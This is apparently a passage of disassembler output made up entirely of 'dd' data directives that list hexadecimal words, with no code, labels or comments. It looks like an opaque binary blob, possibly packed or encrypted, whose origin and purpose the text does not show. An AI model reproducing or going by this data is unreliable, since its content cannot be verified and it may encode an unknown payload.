		dd 0E0053A2h, 0BCEE8FF5h, 906E46C3h, 3C1DE4E0h,	0CA8712ECh
		dd 440B3E4Ch, 1B54805Ch, 0E700D774h, 55B44E38h,	28E857h
		dd 713A24D8h, 0A464ED2Ch, 6BBF9E00h, 0AD6C20FDh, 70B008Eh
		dd 0EB24CDE8h, 54509787h, 0E00070B4h, 0D332433Ch, 0D73F13h
		dd 0AC379A02h, 7C595D0h, 245F7C00h, 425BCC70h, 9B4F0059h
		dd 0C663CE2h, 0D100362Eh, 0AAC1307Dh, 0E07BFCF8h, 373303EAh
		dd 806D63B6h, 3AFB92F0h, 9E7C2C71h, 1D00DEE8h, 52E7915Ah
		dd 4839CBCCh, 73E8EDh, 0EB1BE994h, 9FA21624h, 1E1CD605h
		dd 53C1FBFCh, 2DD1678Dh, 18E1420h, 526EECFAh, 0E89B9184h
		dd 0D400A794h, 1E42414Fh, 7FF6C3h, 0A318E096h, 0E10206FAh
		dd 0AFC0920Bh, 76640070h, 0F6CED0A9h, 36D30974h, 308050D7h
		dd 68880D34h, 0AF84FE50h, 2AE61000h, 8F5DD9E7h,	43C90BD5h
		dd 80DDBBCEh, 8DD315DFh, 0C2FA1F7Ch, 0CF6F000Fh, 709A4457h
		dd 0F50AA073h, 0DC7FD02Ah, 755C0404h, 3DE8E480h, 0FEE2443h
		dd 85F30004h, 5E16DFF7h, 0B3A6F000h, 0E8DB3730h, 0DD1B006Ah
		dd 62610F17h, 7200BB11h, 931F1377h, 7AB42h, 0C80EB0CAh
		dd 0D7326D7h, 9D3F100h,	9D7CBBBFh, 3E3D24E5h, 660C001Eh
		dd 0D2B13B06h, 0E8B26Eh, 37AC76B3h, 822458D4h, 899B7A00h
		dd 0B8C54002h, 0B4553207h, 78A339ECh, 69E100FEh, 134A5A61h
		dd 0EF4C9D71h, 6CBE0148h, 81BD565Fh, 878E884h, 12DD38DBh
		dd 4CB6001h, 803EBAEDh,	56C82D60h, 4D809107h, 0B5E0DA4Fh
		dd 9F85E92h, 2BFB2F23h,	0A23E1802h, 404BC441h, 0CB249E8Eh
		dd 2C444Ch, 381495Fh, 0BC320Ch,	6A3483E4h, 9CB2E996h, 0D55CA300h
		dd 6B3AC487h, 0C29B0403h, 0C04161AAh, 45E8C0B4h, 0FC58B4B0h
		dd 9ECA0059h
		dd 0A4F326E2h, 9209037Dh, 81C26C8Ch, 9A4BB5C8h,	8142F63Fh
		dd 0BCAB1BFAh, 0DF605159h, 7FF4C12h, 2903A848h,	0B62E019Fh
		dd 62F2301Dh, 520CF5A4h, 4C1920AAh, 2800689Fh, 1C7D9312h
		dd 46007027h, 0F0DBE24Ch, 0CE8D23h, 0E6853CC6h,	625B71D9h
		dd 0C12C54E2h, 4E00DC7Ch, 0C835B2B7h, 26B5046Fh, 0A015593Fh
		dd 782EB32Ch, 0F3835873h, 55BED2h, 88281E79h, 20F7B4B3h
		dd 0C09B1B00h, 53472275h, 0A53D003Bh, 8C6B39B9h, 6F00FED6h
		dd 0AE9894DCh, 3308A2h,	3EA883D4h, 36B887A4h, 807AD03Dh
		dd 0C39DBDF3h, 17F497h,	0AAE6A14Dh, 3C010399h, 78008970h
		dd 8525BB72h, 0EDD2386Bh, 0F5AAECh, 65242DBAh, 1E6066C4h
		dd 6E69A400h, 7D0DD662h, 30A11D8Ch, 52E603B7h, 86E19173h
		dd 0E8007388h, 0B8B18681h, 0D7BCC180h, 0E45D6Bh, 0B2050864h
		dd 3F796866h, 7E9F5C00h, 6CAF209Dh, 0A61C05D1h,	889AA1h
		dd 0E9F278D9h, 0C31D06F6h, 92007B40h, 73950EE4h, 25910E35h
		dd 0BA805747h, 859B3B8Fh, 7654B01h, 8B42B64Eh, 0CBE8A6h
		dd 0EF5F3F45h, 7C00B233h, 929BE2CAh, 0FC485557h, 26847B2Ah
		dd 80F0246Ah, 37B9BDDFh, 300143C3h, 59E05B21h, 0B37089D7h
		dd 809630FEh, 0E81808E8h, 651D1F84h, 2D449A0h, 0BABD0400h
		dd 8701B884h, 6CF5C314h, 5EF1924Eh, 54DDC8FFh, 5FD00268h
		dd 31793F29h, 22533C49h, 7DC104F8h, 809002A3h, 12DD1EDEh
		dd 410B78h, 4EBBDC28h, 0D008A93h, 357D05D7h, 73246173h
		dd 0B44B001Dh, 2CE040FFh, 66507916h, 64002398h,	5A8B67C4h
		dd 0F329B38h, 3F838263h, 54297560h, 680143D3h, 53D7BD69h
		dd 20FB7D2Dh, 107E5099h, 1B2643F0h, 0FA002541h,	2FFC522Ah
		dd 44671330h, 0C470098h, 384093C4h, 0E650F00h, 0C8EE7327h
		dd 0A8BD1753h, 365800B7h, 668CADBEh, 1D4DA503h,	0CB11B439h
		dd 0B030485Bh, 5D833506h, 75E2807Eh, 27D6400h, 3BA9E30Bh
		dd 7867191h, 36ADA25h, 0B2C3E0ACh, 0B800E9ABh, 7BC136F4h
		dd 0BCE548h, 0D8E3270Fh, 53E2EE1Dh, 60013498h, 9CA09A8Ch
		dd 0B87082D3h, 7F0C02A5h, 0FAF54772h, 0F2BFF8E8h, 509F45F0h
		dd 4EBC00E8h, 4B62ACADh, 612C99C2h, 8F000A16h, 664414CCh
		dd 7558007Ch, 0BF6CC402h, 71755A6Fh, 677B2B00h,	9916A552h
		dd 2DE88Bh, 476DCE9Eh, 876B3521h, 2F171903h, 98394E59h
		dd 69FCC3h, 9FEC3252h, 4C1DFFAEh, 2BA13A07h, 40700F6Ah
		dd 3ABF4BE2h, 2E80D1C1h, 0B6ED5B81h, 9B00F010h,	0DE8A183h
		dd 174A5BAh, 769CA3ECh,	0F8D23F6Eh, 1C13300Fh, 0E402DD40h
		dd 4059A4A9h, 77015018h, 562500E4h, 1CE94819h, 4C002A3Bh
		dd 55B56077h, 0EC748CC3h, 7863DDAh, 0F8385FB0h,	0DC1C1147h
		dd 6BC08204h, 6ABC87B2h, 0D87C54D0h, 5447BDAh, 0B7C24AF8h
		dd 821C21Ah, 0F1E2BC40h, 5313BB00h, 2434C36Ah, 1C150162h
		dd 25C6F952h, 0FCA0F295h, 584DC9BDh, 4B703600h,	47C51059h
		dd 5D260098h, 6F17FA8h,	0BB012227h, 0B513015Ch,	0E0ECD180h
		dd 9D9E00B8h, 6D94D81Ch, 933D19BEh, 3B4081B2h, 0A9047C2h
		dd 0BD698C7h, 2F140059h, 0EABB244Eh, 0E4E4DADCh, 9C6E940Bh
		dd 5A448339h, 2EDFE0BFh, 0F98100CBh, 30BB8AF4h,	0A50F1C05h
		dd 0A04F9EC7h, 0F316C135h, 0E24E9Fh, 24543468h,	63482174h
		dd 6DB2003Ch, 857179BBh, 4E030E1Ch, 0F065EF59h,	0ACD814FEh
		dd 5525EE09h, 0C3A18800h, 6C2001AFh, 1263F07Ah,	1FA56471h
		dd 0FD2C0B7h, 342BA6A3h, 101049h, 25478C44h, 1CBADFEh
		dd 5F54A330h, 60A4F43Bh, 6E068764h, 0F9E11B0Eh,	0A0CE0010h
		dd 2E095766h, 7501B302h, 6D907012h, 9460BECDh, 27DD02BFh
		dd 9554215Ah, 80DC28E1h, 3D9B3A11h, 2A1A8Bh, 6EED7B41h
		dd 682458AAh, 61701100h, 38740943h, 0B3530045h,	0AFDE6C2h
		dd 0B10084A5h, 0F99DFE9Bh, 3AAD6Bh, 287BD73h, 76D02E8Dh
		dd 0AB66BB00h, 6EFF1165h, 74C83B94h, 82CE5700h,	1FD3E868h
		dd 40B89175h, 9964C00Fh, 0BEC280F3h, 2FEE453h, 1B3425C4h
		dd 516057D5h, 0E300ADD6h, 2CFCF2EDh, 0B6FDFE5h,	0E4F08F5Dh
		dd 8373D8A0h, 55E6F4EEh, 88143900h, 81DAAD9Ch, 5C96A4h
		dd 51BEA9C6h, 0C700171Ch, 0CBCD7EF8h, 30712Ch, 4041E797h
		dd 0DCEFA263h, 0D90025F4h, 29346AF7h, 190BDBFh,	1DAB914Ch
		dd 0D8A999ECh, 0A50988BEh, 8061D6A0h, 7C134118h, 276F1C8Ch
		dd 3E8AE07h, 1ECA380h, 8056103Fh, 0A98ADCBCh, 7E393606h
		dd 459709D4h, 0B954EFB4h, 31DBCF00h, 28D9DC1h, 2D543A38h
		dd 0E86824FCh, 0D000881Ch, 636976ECh, 4EAF9C0Eh, 86780047h
		dd 4E1061F9h, 0D018C64Fh, 632390h, 5268C1FAh, 0A562E26Bh
		dd 0E47D1C90h, 0B05DAC05h, 880018A0h, 1B55DC81h, 18777B62h
		dd 18409FC0h, 0C8A0E990h, 0EF00B518h, 1E84D525h, 300641h
		dd 0CCEE02B2h, 0A29C1324h, 67004DFCh, 0EDE10B49h, 4C7B62DFh
		dd 0FB033873h, 0C5D1F0ACh, 31A219A8h, 0A4C48300h, 98266E8Fh
		dd 4B250029h, 9A2EAE4Fh, 0D13C3AF4h, 4E308045h,	0A397B744h
		dd 2C1F0066h, 5D998A72h, 3A004977h, 247ED67Bh, 0FAE027h
		dd 0A1FC8BF9h, 14BC9D90h, 6F307200h, 615FD6D3h,	8F3F00A5h
		dd 6A3593EBh, 0E8013ABDh, 12492480h, 2609A9Fh, 6FC8004Eh
		dd 0E17129F3h, 0B8B80EF6h, 9CA9BF00h, 79C41253h, 479800F8h
		dd 5224EA6h, 5907FEF5h,	7DFCD91Fh, 0C83D4A50h, 0C2E80099h
		dd 415472Fh, 895821BEh,	80BA3ED3h, 0F5B8ABFEh, 142CD8h
		dd 0E70E268Ch, 0A4DC66C8h, 139D5700h, 4EC9A0CAh, 0F2B600C7h
		dd 67E05D8Dh, 0FA00FD2Dh, 6610D9DCh, 3A2CDF7h, 70ACAFDBh
		dd 848007C7h, 0DE002ECBh, 443C8826h, 4D9EB2Ah, 0F56D307Eh
		dd 0CD72805Bh, 8500819Fh, 1284A91Ah, 0FE8B2FC6h, 9075000Eh
		dd 0A5EABE16h, 0AB0ED80Dh, 3E7602F3h, 5C28E94Fh, 0B9D71001h
		dd 0C0E2C667h, 0A24E7h,	0B6659172h, 961AC47Fh, 760B9401h
		dd 74418E02h, 0E251B70h, 95BB0388h, 0B0EFEBCFh,	0F6E08Fh
		dd 0FBC9DF4Bh, 11E8FC26h, 28F2B500h, 2521D8F8h,	5C92008Eh
		dd 0AF43EB37h, 47000607h, 4A1F73E1h, 3873F89h, 66690AB4h
		dd 99000256h, 8E7F524Ch, 9A45Dh, 7974347Eh, 73495562h
		dd 97A11014h, 803238E0h, 12D09F65h, 0CA516Ah, 0C5CEB449h
		dd 8A7537BFh, 0C91D1890h, 703044BCh, 3012E2C4h,	4108C54Dh
		dd 467CA379h, 13C2C61Eh, 475C3706h, 0D67A0110h,	78DC9639h
		dd 7149D8A2h, 0CADEB000h, 1D534D61h, 0FE77030h,	0E8A7E6DDh
		dd 0C687D14Eh, 33A097E3h, 80E6F2F9h, 0DF414A0Ch, 5A5923h
		dd 5B432613h, 6CF112B3h, 49A95160h, 14ECC54Bh, 20E4D0DBh
		dd 5B138A80h, 832A25FFh, 0FC149C77h, 0AB6066Ah,	0C84146Fh
		dd 1C900E0Ah, 5B1B2200h, 3016C3CBh, 2068AB6Bh, 9878CAAAh
		dd 45A38F0Bh, 1FDA0624h, 0A5FE1D6Eh, 0FA910107h, 0D047EA8Ah
		dd 0CB1CA983h, 0E7007648h, 0BC2AF3B2h, 97B9000Ah, 1303D0B0h
		dd 6E2FE2Eh, 0AFF87676h, 1C41CB06h, 8F8989D5h, 9BCCC104h
		dd 0C610808Bh, 4662EF55h, 483B021h, 0A0B3E8AEh,	897881C8h
		dd 37DEF040h, 51314E1Fh, 970CCA13h, 0F4830E4h, 6FB681C4h
		dd 0BD285958h, 519EFD30h, 88AD4D34h, 0F615583Eh, 0AC040DFh
		dd 988EC592h, 0EEF5FC07h, 0B15024C0h, 0CA840016h, 6D1E3DB7h
		dd 0FA7E4CA5h, 25A2E8A8h, 0B3909206h, 6085763h,	6DD12326h
		dd 0AC00194Ah, 0B1A0404Ch
		dd 14EF9D7h, 0E0CE8D9Fh, 0CCFE98CDh, 91094B88h,	83650FA4h
		dd 0C0648B56h, 0FED4C3E2h, 7AB800D7h, 1B0F3AEBh, 880155BFh
		dd 0FD24A470h, 10D1C595h, 0D2396983h, 9128420Ch, 89004C8Bh
		dd 90714EBh, 30A88F98h,	0DA9958Eh, 8446E3Fh, 22BD78C7h
		dd 13F6FFD0h, 382FCC32h, 20748FD8h, 1AD6F723h, 1E3100EAh
		dd 399EFBB7h, 0C195C251h, 51805875h, 91D3932Ch,	0EB1DF27Bh
		dd 0BAC0CA9Eh, 0A6FC5FC0h, 1BA20C37h, 65940D9h,	6A00DCFCh
		dd 0E0CDCBEAh, 540209h,	0A39371FDh, 0DF51E37Ah,	805FC19Fh
		dd 0AB0FC180h, 0E05718E8h, 7C92000h, 41DF4999h,	0C724F2A7h
		dd 63F6C089h, 21F8533Eh, 7F294B4Dh, 0A8069423h,	1518FF7h
		dd 29F47A8Eh, 612F835Eh, 0F0198071h, 7DAB58FAh,	0CDED000Dh
		dd 0ED4C9F6h, 4400250Bh, 41C302E0h, 0F2E919AFh,	482200E6h
		dd 0D6F84D8Bh, 3F3EF6CAh, 910E30C2h, 0D4A5FF75h, 913A3858h
		dd 35A40078h, 0E0EE5DA6h, 25006D8Bh, 87400877h,	7870A5F0h
		dd 8E9B0786h, 41E823AFh, 0E2DECFC0h, 8A0FB400h,	609A0080h
		dd 6D87D9ABh, 0EC0AFEF7h, 0E72BC903h, 4DC03000h, 5C587Eh
		dd 0F1A6AE64h, 99147D86h, 8003EE39h, 8E30A13Bh,	0F4EDCFh
		dd 49F6FB35h, 0F37557E8h, 46CCC100h, 0A2229BD6h, 0CB3118FCh
		dd 382358EEh, 6100D3FCh, 2A1FD972h, 0E826A255h,	0AF21C0D4h
		dd 8E3CD3ADh, 5703D0F0h, 0BC4467C6h, 0B760D7A3h, 5103EDh
		dd 7554FF89h, 0CEDCEE29h, 40DF9830h, 0E85AE5Ch,	6B3E3490h
		dd 80152AA3h, 4F9D4AC8h, 7000077Eh, 35104745h, 6022AAF4h
		dd 879C38D8h, 28009E19h, 443ADEEEh, 6AAE2D2h, 0CAC9D550h
		dd 837F2929h, 3B9B1E0Eh, 0B39403A8h, 7C0818A9h,	8FE320D6h
		dd 0E72F1D00h, 71580799h, 2548CFC9h, 0B0746F06h, 4D967901h
		dd 0AF5D8587h, 234FD081h, 0EBE493BBh, 645A1000h, 15395227h
		dd 362200D6h, 98C8B2A0h, 790785ABh, 3AC484D2h, 867A6BA0h
		dd 605C3B5Ah, 90C5A480h, 0EC6975A1h, 0D28E9E1Eh, 0CBACF440h
		dd 6AFE5Eh, 0D0737F30h,	6CF22D95h, 0DDEB1A00h, 1EADEE2Eh
		dd 3B3E3C6Ah, 85EF700h,	17DE1F0Dh, 4F853100h, 95CC6F4Ah
		dd 0C8ED0F19h, 0EE40BA61h, 6434E63Dh, 3C262B02h, 0C059F45Ah
		dd 75B248A9h, 16B800C9h, 529AEFDFh, 4900B16Ah, 0E9D7A2E2h
		dd 30761964h, 1D0E7266h, 881CF8E8h, 90801F29h, 0AA7C585Eh
		dd 9F340157h, 1AEF0E0Dh, 0B90A80D1h, 542B6188h,	4CD6008Fh
		dd 7BD856DBh, 5801229Ah, 0E0483A44h, 40A7890Fh,	670389D6h
		dd 0C0DF0CD9h, 754E2A2h, 2F11DD58h, 156E50FEh, 9700CFB9h
		dd 0DFD31C35h, 53F29Fh,	0C4C52C8Bh, 8193C35Eh, 0F3DE9700h
		dd 9EA60632h, 0FE31008Dh, 5120C15Dh, 3E00A24Eh,	8BD83D84h
		dd 0F6C995h, 44A9CD74h,	0F75AA88h, 0D4C50103h, 0C08BBEE2h
		dd 0A09FDD59h, 12C8AE1h, 0A715302Ah, 0F8873B40h, 38CE45FEh
		dd 7CEAE0BEh, 34DCA258h, 0C0504D64h, 1EDB0C13h,	9F1FDA06h
		dd 5C6955C5h, 8D0EEFE6h, 5400CCA5h, 0C5AF2F22h,	78002A71h
		dd 3C3E6CA7h, 967310h, 86243146h, 70127142h, 1151E100h
		dd 801C19CBh, 0BF2B00A2h, 6C24F947h, 67008A95h,	0E344E6C9h
		dd 766689h, 0F0A7C3B4h,	0BB48521Ch, 95746E74h, 29C4C076h
		dd 915C648Dh, 0AC0303EFh, 0B0772FE8h, 0F857A0h,	0AACB0918h
		dd 49D51FE9h, 6FF64175h, 20D7B044h, 0D22590Fh, 47F710CDh
		dd 0B53B113Ch, 41085221h, 0AF3A00CCh, 3357231Fh, 1534BE00h
		dd 91B5D288h, 0D71D073Eh, 0F07EE6FCh, 0AD8DD19Ah, 7B92281Fh
		dd 0C4CD8E40h, 0C5A368h, 0F86E503Fh, 0A917A43Eh, 0E200A07Ch
		dd 0FEE5D6D7h, 3F08EBCFh, 4F1DBC8Fh, 0CD5F8159h, 0C8544E70h
		dd 8307C133h, 0BFA1ECE8h, 4177EFC0h, 0FC6D0715h, 0D0E7F305h
		dd 0E308ABC0h, 49F56826h, 87563400h, 0FC695D4Ch, 59C20088h
		dd 509E30BFh, 5F00CD82h, 29F01195h, 0E0FBD4F6h,	0BA2F621h
		dd 0F1E241C6h, 0F40051FCh, 8EB529E4h, 0B0DF0E02h, 35405EBEh
		dd 2D122227h, 0B17ED2E8h, 83634C07h, 0A6A0A9E2h, 0AD26E4h
		dd 2E7F3171h, 5C2F04E9h, 4FD0BE00h, 0C473D4DAh,	456A00CCh
		dd 0A4DDE05Fh, 4D376C71h, 738009F6h, 638A92h, 0BAABCB3Dh
		dd 0BC7649C5h, 629D0E00h, 58850A1Fh, 34AF00E5h,	7C44E35Eh
		dd 0D66079D2h, 8BEF0810h, 781D070Bh, 9066046Eh,	11AB77CBh
		dd 8DBFD100h, 0E6154446h, 241DF88Eh, 5685E2h, 0B565E7F6h
		dd 35004C8Ch, 0F5315270h, 36AF20h, 0CABED0F4h, 320C83DFh
		dd 1DB54000h, 0FDE271B8h, 0F75A0797h, 408D2C9Bh, 0CCB1297Ch
		dd 0D03E400h, 50B8580Ah, 676E0043h, 61EAF66h, 5E1E21A0h
		dd 590A8B2Eh, 1303CC33h, 900A7B1Bh, 9B096Eh, 115BE39Fh
		dd 0BA696B59h, 0B8D2EB00h, 0C4BE0839h, 7DDD3CD7h, 81540700h
		dd 4BC77323h, 82FB9A3Eh, 7BF0750Bh, 0E3344835h,	0FE7D0030h
		dd 5DB4DD5h, 3270E60Bh,	7BFCB800h, 54825856h, 810630A7h
		dd 0FD4AC2F8h, 501DEF00h, 0FF76BB0Fh, 0EDB30049h, 691BD9C0h
		dd 1500F4AEh, 7D4034ABh, 4888B7A3h, 3F08347Bh, 480F3170h
		dd 22E0C16Ah, 0EE707F87h, 66D09561h, 6D6C5D00h,	0ACF9E2E8h
		dd 0E6330F9Bh, 9DC01E52h, 0C6B1E7F0h, 0B03AE3FAh, 0DB51002Dh
		dd 3AB2B837h, 0C0AF0081h, 8EA6B96h, 0D7008F70h,	0FA653EEBh
		dd 9BB329h, 28CDD2F2h, 5AF0CEF5h, 70874C5Bh, 93694F20h
		dd 85DE0043h, 17F4C272h, 8F002190h, 0FE655770h,	6D688Ah
		dd 80919AAFh, 727AFCD8h, 0D700E6FCh, 0E355A15Bh, 12ED063h
		dd 0DC04A714h, 0C4374071h, 0EE0057EAh, 0DE283BA2h, 7BE5D03h
		dd 627F9705h, 1EE400B9h, 0F80A355Eh, 903256EFh,	0D4936B02h
		dd 0E89EE34Fh, 3A461Bh,	92942CEBh, 0E927BB15h, 0E000CDF4h
		dd 110643EDh, 2B4024h, 0A29E0179h, 5825D01Fh, 6252EF00h
		dd 0F6CCB330h, 8A0407A0h, 5E20CD3Dh, 287EDF40h,	9103A96Ah
		dd 4779DB9Ah, 9B3FA31Bh, 0A6180F26h, 1A6022A3h,	0E0CF003h
		dd 28F58100h, 2693539Fh, 0B2681D42h, 97620095h,	3BCBB0C5h
		dd 0EE66E200h, 0BC5699CDh, 2CF30173h, 8667187Fh, 544AF882h
		dd 0C1586B01h, 0AC3D056Ah, 0BC86860h, 0FFCABA9Eh, 4E83D380h
		dd 0D8005E46h, 9718E4E0h, 3C119Ah, 406B45B5h, 9A877FEh
		dd 0AF9C2102h, 0C0C297D8h, 621E01h, 3090BE98h, 0B736E135h
		dd 5B09BB00h, 0BDDB2468h, 0EBD30007h, 30BC01A6h, 25017FF1h
		dd 8E19201Fh, 9CEC6029h, 81660127h, 0FE0D09C7h,	21836F7Bh
		dd 46B7F112h, 3F5686F8h, 41FFDCDh, 3738FA11h, 0F83AE100h
		dd 938D13D3h, 0E4CC90Bh, 36D0807Ah, 7CE835F6h, 9B4B01DCh
		dd 6874D166h, 4544E486h, 0BC171307h, 0E82059A6h, 31BF827h
		dd 0B6E9630h, 0C7C0A30Fh, 70002BADh, 0BA03FCD1h, 1ECCE314h
		dd 0C05E6C3Fh, 0AFB5DEA4h, 2C00AD10h, 2D2E8A63h, 1F8F9BDFh
		dd 0C3691691h, 1121AC4Ch, 0DD1EB9E0h, 6090D600h, 8BE157F6h
		dd 0BC9D007Eh, 321DDB21h, 0B0077A9h, 2BB62298h,	9FDB546h
		dd 27256F5Dh, 53760C01h, 50986155h, 3911F714h, 2CFAB800h
		dd 208B4392h, 0FE4703C2h, 72131828h, 0B80328E6h, 5F27B038h
		dd 0C1C89355h, 9DFCA361h, 3EC5015Eh, 921D06F4h,	4ED0421Fh
		dd 7C349A40h, 0AF9B900h, 0C6765AEFh, 0F6FF621h,	0E7BC0FEAh
		dd 0C05447A0h, 2500F0E3h, 0C69531EFh, 5C1B946Bh, 3B00FD99h
		dd 0CD1A815Eh, 2002B99Dh, 0FAC097B8h, 6604824h,	0CCF80074h
		dd 439516D6h, 0E50069ACh
		dd 97911E87h, 1D4B63F7h, 0C0998B73h, 3DBAED9Fh,	0A1F94DEh
		dd 0D980D4C4h, 6BA032A5h, 60B46001h, 86C9CC7Bh,	35EE1200h
		dd 0DBD74A79h, 5DDA0009h, 7D07B126h, 0B800645Ch, 1EEFCA16h
		dd 0FC6ECDh, 0BC3C75A4h, 0E4ED9880h, 8B2B4700h,	8F7417C2h
		dd 7EDB1C88h, 816F9F87h, 9375607Ch, 0D92C423h, 0EC31F300h
		dd 3CA3E8E1h, 608E393Eh, 0C0D69E1Fh, 16D5EA2Ch,	0EF0E52CEh
		dd 0BD29DD93h, 90B0CC00h, 4B0743h, 6202DC7Dh, 0A0EDDA89h
		dd 0A7153200h, 0EE529FF4h, 20100068h, 7C95F2A2h, 9E3839F7h
		dd 32D4D01Dh, 76932700h, 823558A7h, 33D90053h, 0DCD4C562h
		dd 393EF3E6h, 8073BC43h, 7C57A7CCh, 0D8D52Ch, 0FB08C75Dh
		dd 6E4FE41Eh, 9E85C404h, 23401664h, 77F8800Ah, 0ED2EBAE4h
		dd 4D09A5A1h, 0AE5880E1h, 246C74EAh, 0A703C3h, 96811C31h
		dd 0FB008CA1h, 4028A467h, 0FA8066A7h, 1E900B0h,	0CF23385h
		dd 0A3B923Dh, 0B10200F9h, 0A6225D31h, 1DEAA006h, 73B80077h
		dd 3AF2FAA2h, 7E00FCC0h, 933BE53Ch, 76D1BBDh, 0E3068A71h
		dd 0DC4FB0A0h, 0B80042BFh, 9B882D55h, 1102E5Ah,	65F10FB4h
		dd 0EC1EF994h, 2F626C51h, 0DFED3718h, 0BE91C360h, 7F747A1Eh
		dd 8B35817Fh, 4DBB4480h, 0F823B13Fh, 0FE0028CBh, 55C2A616h
		dd 0D73C83h, 9801DDA9h,	1EB7E62Fh, 0A661C638h, 470017AEh
		dd 0C1B65822h, 0AF76034Eh, 280CCC21h, 8016B4A8h, 5DEDC4FFh
		dd 83615800h, 0D357D16Eh, 1CE62F7Fh, 14260256h,	0E0CA1E00h
		dd 9BD89Eh, 0F6A5D62Dh,	0C68DB8A7h, 92C72300h, 41964589h
		dd 7C640F6Ah, 44009C09h, 95F73094h, 9F4AFA03h, 0F76BF90Dh
		dd 7673007Bh, 7D42EC8h,	0D59CD0F3h, 5C75B0B8h, 850070F0h
		dd 4404A255h, 9034CF6Dh, 0D0DC00EAh, 7E2C93B4h,	2B00D45Ah
		dd 79C5EB97h, 0CA7AFF9h, 5BF2529Dh, 0A4399C38h,	81B7BB27h
		dd 24A676F7h, 26EC6CFCh, 0B08200FEh, 623CC4C1h,	0E80E9139h
		dd 40D5A505h, 0CB9E7918h, 116B0055h, 783D5BF7h,	4AEA7C0Bh
		dd 0B6924C00h, 8228FFDAh, 1EE903A9h, 2ED5C84Bh,	43A45E98h
		dd 1F3A240Eh, 0B749222Bh, 2708C014h, 46E001D3h,	0AD797501h
		dd 63942024h, 13A89052h, 800F847Dh, 3E11E035h, 15ECA37h
		dd 0BBAA0DB5h, 0D0690A4Bh, 2002947h, 0CDC11418h, 0A8AEB2h
		dd 9DD8A777h, 22052BFDh, 80079F3Ch, 0B1406C7Fh,	4859323Dh
		dd 0AD0158B7h, 22E40271h, 0A23EFC6Ah, 0A187D0FFh, 8F344801h
		dd 0FACBD15Eh, 497C20h,	0AC451D7Bh, 4B23D31Ch, 9A86E900h
		dd 10EE9DD6h, 7841076Ch, 705FABDFh, 0D02EE7A8h,	0F1040F0Eh
		dd 9C9B60DCh, 0CC9069Dh, 857AAAFBh, 69483470h, 0EA8D1D00h
		dd 4B947E00h, 35E21Eh, 44A2CAFh, 34CE4728h, 5B9BE600h
		dd 45DFECFAh, 0DC980117h, 529F4A2h, 0CE2149h, 51164CA6h
		dd 0FD318900h, 0B5BDE785h, 0C43E0F52h, 11400AC7h, 7932ECC9h
		dd 0BACD5Ch, 0AA8FC529h, 4B4752Dh, 5746104Dh, 0D318C0B7h
		dd 4A0180C8h, 2951AAB9h, 0BCE4D59Bh, 0EFE00010h, 0CF364875h
		dd 0BE00CB39h, 0A16EF604h, 0B0072BC1h, 5DBF028Ch, 0ECF2567Ch
		dd 487E0480h, 0EDB852F4h, 0EB147301h, 611829A0h, 9E60D9F9h
		dd 1642FABAh, 40816D93h, 0B19B0FC8h, 8007CB14h,	3E721677h
		dd 266C19C0h, 1B5E1F82h, 0EFB5006Ah, 0DDCE47Bh,	0C4361200h
		dd 55C3507Eh, 0F3870063h, 8031FCC8h, 667EA9E4h,	590FB18h
		dd 723EA8h, 0C264B85h, 60D6B85Eh, 47454F00h, 0F6B58180h
		dd 0B4200B9h, 0BBC2393Fh, 60F5E9A1h, 6B001B07h,	9DE89B37h
		dd 40F3BBDh, 0BFE67491h, 8D88804Dh, 0E89938A6h,	7BC3DA80h
		dd 74E4CF6Eh, 0AE4B00BCh, 82CA69E7h, 74001A9Ah,	184726FDh
		dd 0EC07E4E8h, 0A2DA0157h, 0DEE54551h, 0DDCFE0ABh, 7A59A101h
		dd 27A5BD1Bh, 462070h, 0A968A875h, 4BED3ACDh, 3E7883Dh
		dd 0C08B8A2h, 0FDFEC0F5h, 3A040C50h, 2AA0CF6Ah,	0C6E3A800h
		dd 0C3B9C072h, 994500ABh, 9CA1302Bh, 4C00DABAh,	893C4324h
		dd 0C0CCF348h, 0E259C0C4h, 450F195h, 0D0005EA0h, 0F2C6A8D1h
		dd 779701h, 71A76C42h, 16F8A1E6h, 0DB632200h, 1BE451A0h
		dd 99AF0740h, 0E0756428h, 3F443B91h, 0ED5A200Bh, 0F94D83ACh
		dd 0ADA00654h, 0F0DCF57Dh, 0BD0EB97Ah, 80BEC01Dh, 0B4EF3451h
		dd 0F0D9132Ah, 7EC80095h, 59E8E9BFh, 0BAE4491Ch, 0F22C5B81h
		dd 2BE016EBh, 0DF26092Eh, 1C80217Eh, 311E9A91h,	35D81F09h
		dd 6AA400C6h, 2816B14h,	5604BF38h, 0AE015E8h, 0F7603E0Fh
		dd 5FC63D20h, 0FEB11F25h, 0C71DC04Fh, 0AB38CA3Fh, 84FDA424h
		dd 0E71E1206h, 2C88B056h, 74470B5h, 20D58C22h, 8AADCE61h
		dd 2A98F462h, 2474E0F1h, 987960C8h, 4A900FAFh, 39F26118h
		dd 389F5E88h, 7900E9E4h, 0B13CD52Eh, 24036186h,	3605024Fh
		dd 0B5603F09h, 8F946387h, 796E80AEh, 0D21E5A29h, 0D641209Bh
		dd 4E037AECh, 5EF441F2h, 48C664E8h, 3900C09Ch, 77014A6h
		dd 7700167Ah, 0F9E7A9E5h, 775242DEh, 88F2C06Ah,	5F1EDAE8h
		dd 13CB40BDh, 56913012h, 0DF73C20h, 0FF337B00h,	0EA6E9A3Fh
		dd 0BCDD0549h, 0E326A2h, 399012D0h, 1D005E93h, 0D46A8A7Dh
		dd 0E16ECE9h, 4A344201h, 1498A9E0h, 0C42C5C6Ch,	0E81FBCD8h
		dd 1C6E9105h, 0E0E64E80h, 4FB80073h, 0EF5F84CDh, 0F37C04D1h
		dd 8035F400h, 99FAAB8Ch, 0CC1100DEh, 0C47D1E03h, 92006D24h
		dd 0A870134Ah, 0F6C97A01h, 0B0ED002Eh, 9198181Ch, 1102784Bh
		dd 38FA0D8Bh, 86484024h, 181500EAh, 2F84741Dh, 3F07F5B2h
		dd 4C39279Ch, 0CDFFD730h, 0D1B817B6h, 2BC8008Dh, 28294852h
		dd 0D2930700h, 801A67C5h, 0CB12395Ch, 0D8B0FDB9h, 94E04EB8h
		dd 0BCE6C20Ah, 8E0790A4h, 6580B8F3h, 2970BC9h, 777D3AD1h
		dd 0DC60FA71h, 0FB00EAE1h, 0CF187FA5h, 71667C2Bh, 7AEEEC06h
		dd 0ACFAF3h, 99161B5Ah,	4B772505h, 5EFD58h, 68BD2AC1h
		dd 0F4A46BBh, 0EE139671h, 0B2280201h, 0E0202108h, 0BE241E66h
		dd 5100445Ah, 1F0AB9DAh, 0D7330C06h, 2F081316h,	0BBB81D02h
		dd 60DDC0FAh, 7E4CE58Ch, 807001Fh, 5BF1199Bh, 0D003217h
